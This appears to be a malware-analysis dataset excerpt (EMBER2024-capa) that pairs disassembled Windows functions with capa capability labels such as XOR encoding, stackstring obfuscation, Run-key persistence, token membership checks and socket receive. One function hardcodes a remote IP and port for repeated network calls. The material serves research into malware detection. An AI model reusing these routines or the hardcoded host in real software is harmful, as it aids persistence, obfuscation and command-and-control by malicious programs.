joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001e60
Capabilities:
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
push rbx
sub rsp, 0x2c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rax, str.185.97.255.132
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], 0x6987
mov byte [rsp + 0x40], 0
mov qword [rsp + 0x58], 0x400
mov ecx, 0x202
lea rdx, [rsp + 0x110]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
test rax, rax
jne 0x140001f02
lea rdx, str.Fatal_error_in_host_name_resolving
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
lea rdx, [0x140001590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x78]
call fcn.140001620
nop
lea rcx, [rsp + 0x90]
call fcn.140001730
nop
mov ecx, 0x400
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x50], rax
mov ebx, 0x1c2
nop word [rax + rax]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xe0]
call fcn.1400015f0
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140001010
nop
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x78]
call fcn.140001e10
nop
lea rcx, [rsp + 0x68]
call fcn.1400018d0
sub rbx, 1
jne 0x140001f50
nop dword [rax + rax]
jmp 0x140001fc0

Function at 0x140002adc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002b26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002b26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002b26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002b26
cmp dword [rcx + 0x84], 0xe
jbe 0x140002b26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002b28
xor al, al
add rsp, 0x28
ret
Function at 0x14000813c
Capabilities:
Hash data with md5

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x90
mov qword [r11 - 0x70], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov rax, qword [0x140071080]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rdi, rcx
mov qword [r11 - 0x68], rcx
xor edx, edx
lea r8d, [rdx + 0x5c]
add rcx, 4
call fcn.140018330
mov dword [rdi + 4], 0x67452301
mov dword [rdi + 8], 0xefcdab89
mov dword [rdi + 0xc], 0x98badcfe
mov dword [rdi + 0x10], 0x10325476
xor ecx, ecx
mov qword [rdi + 0xb0], rcx
lea eax, [rcx + 0xf]
mov qword [rdi + 0xb8], rax
mov byte [rdi + 0xa0], cl
mov qword [rdi + 0xd0], rcx
mov qword [rdi + 0xd8], rax
mov byte [rdi + 0xc0], cl
mov word [rdi], 0x101
mov word [rsp + 0x20], 0x33
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.140010d68
nop
lea rdx, [0x1400634f0]
lea rcx, [rsp + 0x48]
call fcn.140010d68
mov r8, rax
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.140007f78
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14000823f
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008239
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008263
call fcn.1400162b4
nop
mov rax, rdi
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140016290
mov rbx, qword [rsp + 0xa8]
add rsp, 0x90
pop rdi
ret
call fcn.14001a784
nop
int3
Function at 0x1400234c8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002322c
Function at 0x14003531c
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbp
push rdi
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp - 9], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x140071080]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov rsi, rcx
xor ebx, ebx
lea rdx, [0x140064dd0]
lea rcx, [rbp + 0x1f]
call fcn.14000127c
nop
movups xmm0, xmmword [rbp + 0x1f]
movups xmmword [rbp - 1], xmm0
movups xmm1, xmmword [rbp + 0x2f]
movups xmmword [rbp + 0xf], xmm1
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x2f], xmm0
mov byte [rbp + 0x1f], bl
lea r15d, [rbx + 1]
mov r9d, r15d
lea r8d, [rbx + 0x50]
lea rdx, [rbp - 1]
mov rcx, rsi
call fcn.14003622c
nop
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x1400353d5
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400353d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400354dd
call fcn.1400162b4
cmp byte [rsi + 0x20], bl
je 0x1400354a9
lea rcx, [rbp + 0x1f]
call fcn.140036050
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400353f2
mov rax, qword [rax]
mov dword [rsp + 0x30], 0x4080000
lea r8, [0x140064e70]
mov rdx, rax
mov rcx, qword [rsi + 0x30]
call fcn.1400473bc
mov rdi, rax
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x14003544b
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035446
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400354d7
call fcn.1400162b4
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x2f], xmm0
mov byte [rbp + 0x1f], bl
test rdi, rdi
je 0x1400354a1
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.140006398
mov dword [rbp - 0x19], ebx
mov dword [rbp - 0x11], 4
lea r9, [rbp - 0x11]
lea r8, [rbp - 0x19]
mov edx, 0x20000013
mov rcx, rdi
call fcn.14000e508
movzx ebx, bl
cmp dword [rbp - 0x19], 0xc8
cmove ebx, r15d
mov rcx, rdi
call fcn.1400471c8
mov rcx, rsi
call fcn.1400361f0
mov al, bl
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140016290
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
call fcn.14001a784
int3
call fcn.14001a784
int3
Function at 0x1400378f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, r8
call fcn.140037b30
xor r10d, r10d
test eax, eax
js 0x140037b1d
mov ecx, dword [rbx + 0xf0]
mov eax, ecx
shl eax, 2
movsxd r9, eax
test eax, eax
jle 0x14003797a
lea rdx, [rbx + 8]
lea rdx, [rdx + r9*4]
lea r8, [rbx + 8]
mov ecx, dword [r8 - 8]
add r10, 4
mov eax, dword [rdx - 8]
sub r9, 4
mov dword [r8 - 8], eax
mov eax, dword [rdx - 4]
mov dword [rdx - 8], ecx
mov ecx, dword [r8 - 4]
mov dword [r8 - 4], eax
mov eax, dword [rdx]
mov dword [rdx - 4], ecx
mov ecx, dword [r8]
mov dword [r8], eax
lea r8, [r8 + 0x10]
mov eax, dword [rdx + 4]
mov dword [rdx], ecx
lea rdx, [rdx - 0x10]
mov ecx, dword [r8 - 0xc]
mov dword [r8 - 0xc], eax
mov dword [rdx + 0x14], ecx
cmp r10, r9
jl 0x14003792b
mov ecx, dword [rbx + 0xf0]
mov r11d, 1
cmp ecx, r11d
jle 0x140037b1b
lea r10, [rbx + 2]
lea rdi, [0x140000000]
lea r10, [r10 + 0x10]
inc r11d
mov r8d, dword [r10 - 2]
mov eax, r8d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 - 1]
mov r9d, dword [rdi + rdx*4 + 0x5e5c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, r8b
xor r9d, dword [rdi + rcx*4 + 0x5ddc0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10]
xor r9d, dword [rdi + rcx*4 + 0x5d9c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
xor r9d, dword [rdi + rcx*4 + 0x5e1c0]
mov dword [r10 - 2], r9d
mov r9d, dword [r10 + 2]
mov eax, r9d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 3]
mov r8d, dword [rdi + rdx*4 + 0x5e5c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 4]
xor r8d, dword [rdi + rcx*4 + 0x5ddc0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, r9b
mov r9d, dword [r10 + 6]
xor r8d, dword [rdi + rcx*4 + 0x5e1c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x5d9c0]
movzx edx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 7]
mov dword [r10 + 2], r8d
mov r8d, dword [rdi + rdx*4 + 0x5e5c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 8]
xor r8d, dword [rdi + rcx*4 + 0x5ddc0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, r9b
mov r9d, dword [r10 + 0xa]
xor r8d, dword [rdi + rcx*4 + 0x5e1c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x5d9c0]
movzx edx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 0xb]
mov dword [r10 + 6], r8d
mov r8d, dword [rdi + rdx*4 + 0x5e5c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 0xc]
xor r8d, dword [rdi + rcx*4 + 0x5ddc0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x5e1c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
xor r8d, dword [rdi + rcx*4 + 0x5d9c0]
mov dword [r10 + 0xa], r8d
cmp r11d, dword [rbx + 0xf0]
jl 0x140037994
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140044b00
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov al, byte [rcx]
mov r8, rcx
or edx, 0xffffffff
jmp 0x140044b36
movzx eax, al
mov r9d, 7
xor edx, eax
mov ecx, edx
mov eax, edx
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
mov edx, ecx
xor edx, eax
sub r9d, 1
jns 0x140044b15
inc r8
mov al, byte [r8]
test al, al
jne 0x140044b0a
not edx
mov eax, edx
ret

Function at 0x140044b90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
lea rbp, [rsp - 0x1030]
mov eax, 0x1130
call fcn.140016f50
sub rsp, rax
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x1150], rbx
mov qword [rsp + 0x1158], rsi
mov rax, qword [0x140071080]
xor rax, rsp
mov qword [rbp + 0x1020], rax
mov rbx, rcx
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x50]
call fcn.140010d68
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14000c9c0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140044c31
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044c2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044e06
call fcn.1400162b4
mov esi, 0x400
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x420]
call fcn.140018330
xor r9d, r9d
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
sub rdx, r8
je 0x140044c7e
lea rcx, [rbp + 0x420]
lea rax, [rbp + 0x420]
sub r8, rax
mov al, byte [r8 + rcx]
mov byte [rcx], al
inc r9d
inc rcx
movsxd rax, r9d
cmp rax, rdx
jb 0x140044c6a
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0xc20]
call fcn.140018330
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x820]
call fcn.140018330
mov word [rbp + 0x40e], 0x3939
mov dword [rbp + 0x3f0], 0x37383843
mov dword [rbp + 0x3ff], 0x42324436
mov dword [rbp + 0x3f5], 0x44433234
mov word [rbp + 0x408], 0x4342
mov dword [rbp + 0x403], 0x42413436
mov word [rbp + 0x3fc], 0x3945
mov word [rbp + 0x3f9], 0x4132
mov byte [rbp + 0x410], 0
mov byte [rbp + 0x3fb], 0x37
mov byte [rbp + 0x3f4], 0x44
mov word [rbp + 0x40b], 0x3836
mov byte [rbp + 0x40a], 0x46
mov byte [rbp + 0x407], 0x43
mov byte [rbp + 0x3fe], 0x46
mov byte [rbp + 0x40d], 0x46
lea r8, [rbp + 0x3f0]
mov rdx, rsi
lea rcx, [rbp + 0x820]
call fcn.14001a8d4
lea rax, vtable.CRijndael.0
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 0
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x820]
lea rcx, [rsp + 0x70]
call fcn.14000dd98
mov r9, qword [rsp + 0x38]
sub r9, qword [rsp + 0x30]
lea r8, [rbp + 0xc20]
lea rdx, [rbp + 0x420]
lea rcx, [rsp + 0x70]
call fcn.1400452a0
lea rdx, [rbp + 0xc30]
mov rcx, rbx
call fcn.140010d68
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140044dd9
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044dd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044e00
call fcn.1400162b4
mov rax, rbx
mov rcx, qword [rbp + 0x1020]
xor rcx, rsp
call fcn.140016290
lea r11, [rsp + 0x1130]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14001a784
nop
call fcn.14001a784
nop
Function at 0x1400452a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp byte [rcx + 8], 0
mov rdi, r9
mov rsi, r8
mov rbp, rdx
mov rbx, rcx
je 0x1400453b2
test r9, r9
je 0x14004538f
movsxd rcx, dword [rcx + 0x3d0]
xor edx, edx
mov rax, r9
div rcx
test rdx, rdx
jne 0x14004538f
mov rax, r9
xor r15d, r15d
div rcx
test rax, rax
je 0x140045376
lea r14, [rbx + 0x3f8]
mov r8, rsi
mov rdx, rbp
mov rcx, rbx
call fcn.14000da18
cmp byte [rbx + 8], 0
mov rcx, rsi
je 0x1400453d5
mov eax, dword [rbx + 0x3d0]
xor r8d, r8d
test eax, eax
jle 0x140045348
mov rdx, r14
sub rdx, rsi
mov al, byte [rdx + rcx]
inc r8d
xor byte [rcx], al
inc rcx
mov eax, dword [rbx + 0x3d0]
cmp r8d, eax
jl 0x140045332
movsxd r8, eax
mov rdx, rbp
mov rcx, r14
call fcn.140017ed0
movsxd rcx, dword [rbx + 0x3d0]
xor edx, edx
mov rax, rdi
inc r15d
div rcx
add rbp, rcx
add rsi, rcx
movsxd rcx, r15d
cmp rcx, rax
jb 0x140045304
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
mov rdx, qword [0x140073868]
lea rcx, [rsp + 0x20]
call fcn.140012938
lea rdx, [0x14006f8c0]
lea rcx, [rsp + 0x20]
call fcn.140017dd4
int3
mov rdx, qword [0x140073860]
lea rcx, [rsp + 0x20]
call fcn.140012938
lea rdx, [0x14006f8c0]
lea rcx, [rsp + 0x20]
call fcn.140017dd4
int3
mov rdx, qword [0x140073860]
lea rcx, [rsp + 0x20]
call fcn.140012938
lea rdx, [0x14006f8c0]
lea rcx, [rsp + 0x20]
call fcn.140017dd4
int3

Function at 0x1400453f8
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
and qword [rcx], 0
mov rax, r8
and qword [rcx + 8], 0
mov rdi, rdx
mov rdx, rax
mov dword [rcx + 0x50], 0x6a09e667
mov r8, r9
mov dword [rcx + 0x54], 0xbb67ae85
mov rbx, rcx
mov dword [rcx + 0x58], 0x3c6ef372
mov dword [rcx + 0x5c], 0xa54ff53a
mov dword [rcx + 0x60], 0x510e527f
mov dword [rcx + 0x64], 0x9b05688c
mov dword [rcx + 0x68], 0x1f83d9ab
mov dword [rcx + 0x6c], 0x5be0cd19
call fcn.14000e208
mov rdx, rdi
mov rcx, rbx
call fcn.14000612c
mov rbx, qword [rsp + 0x30]
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x180001370
Capabilities:
Check os version
Get token membership

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x38]
sub rsp, 0x138
xor edx, edx
lea rcx, [rsp + 0x44]
mov r8d, 0x98
xor ebx, ebx
call fcn.180002ca0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x1800013b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x1800014d6
cmp dword [rsp + 0x50], 2
jne 0x1800014d0
cmp dword [rsp + 0x44], 5
jbe 0x1800014d0
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1800014c6
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x50]
mov r9d, 4
mov dword [rbp + 0x50], ebx
lea r8, [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0xe]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x18000142f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800013b0
cmp dword [rbp + 0x60], 3
jne 0x1800014b1
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x50]
mov r9d, 8
mov qword [rsp + 0x38], rbx
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0xb]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x18000141c
xor edx, edx
mov dword [rbp + 0x68], 0x44
lea r9, [rbp + 0x68]
lea r8, [rbp - 0x20]
lea ecx, [rdx + 0x1a]
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x18000149e
mov rcx, qword [rsp + 0x38]
lea r8, [rbp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x58], ebx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x18000149e
mov ebx, dword [rbp + 0x58]
jmp 0x1800014a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800014b9
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov ebx, eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800014cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, ebx
jmp 0x1800014d6
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
add rsp, 0x138
pop rbx
pop rbp
ret
Function at 0x1800014e0
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
xor edx, edx
lea rcx, [rbp - 0x45]
mov r8d, 0x98
xor ebx, ebx
call fcn.180002ca0
lea rcx, [rbp - 0x49]
mov dword [rbp - 0x49], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x18000152c
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x180001610
cmp dword [rbp - 0x39], 2
jne 0x18000160e
cmp dword [rbp - 0x45], 5
jbe 0x18000160e
mov qword [rbp + 0x6f], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x6f]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001608
mov rcx, qword [rbp + 0x6f]
lea rax, [rbp + 0x67]
xor r9d, r9d
mov dword [rbp + 0x67], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x19]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1800015f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1800015f6
mov edx, dword [rbp + 0x67]
lea ecx, [rax - 0x3a]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1800015f6
mov r9d, dword [rbp + 0x67]
lea rax, [rbp + 0x67]
mov rcx, qword [rbp + 0x6f]
mov r8, rdi
mov edx, 0x19
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1800015e5
mov rcx, qword [rdi]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rdi]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [rax]
jmp 0x1800015eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1800015fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000160e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, ebx
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1800025a0
Capabilities:
Accept command line arguments
Delete registry value
Persist via run registry key
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x68]
sub rsp, 0x168
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rsi, rax
test rax, rax
je 0x1800027af
lea rax, [rbp + 0xb8]
mov r12, 0xffffffff80000001
mov rcx, r12
mov qword [rsp + 0x20], rax
mov r9d, 0xf013f
lea rdx, [0x180001050]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180002618
lea r8, [rbp + 0xb8]
mov rcx, r12
lea rdx, [0x180001050]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1800027af
mov edx, 0x1000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x18000279e
mov rcx, qword [rbp + 0xb8]
lea rax, [rbp + 0xa0]
and dword [rbp + 0xa8], edi
lea r9, [rbp + 0xb0]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x50]
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
xor edx, edx
and qword [rsp + 0x20], rdi
xor r14d, r14d
mov dword [rbp + 0xb0], 0x104
mov dword [rbp + 0xa0], 0x1000
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x180002795
lea eax, [r14 + 1]
cmp dword [rbp + 0xa8], eax
jne 0x180002732
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x18000272d
mov rcx, qword [rbp + 0xb8]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov r9d, 0xf013f
lea rdx, [0x180001080]
test eax, eax
mov rcx, r12
mov eax, 1
cmove edi, eax
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180002712
lea r8, [rsp + 0x40]
mov rcx, r12
lea rdx, [0x180001080]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x18000272d
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rbp + 0xb8]
lea r9, [rbp + 0xb0]
add r14d, eax
mov dword [rbp + 0xb0], 0x104
lea rax, [rbp + 0xa0]
mov dword [rbp + 0xa0], 0x1000
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x50]
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
mov edx, r14d
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
mov eax, 1
je 0x18000269a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x1800027b1
xor eax, eax
add rsp, 0x168
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1800027c4
Capabilities:
Accept command line arguments
Check mutex on windows

Disassembly:
sub rsp, 0x28
lea r8, [0x180001128]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x180003288], rax
test rax, rax
je 0x1800027f2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x18000280b
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [0x180002b50]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add rsp, 0x28
ret

Function at 0x180002830
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
test r8d, r8d
jle 0x18000287b
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov ecx, eax
inc eax
cmp eax, 1
jbe 0x1800028b0
add ebx, ecx
cmp ebx, edi
jl 0x180002854
cmp dword [0x180003284], 0
je 0x180002896
mov r8d, edi
lea rcx, [0x1800033b0]
mov rdx, rsi
call fcn.180002c28
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
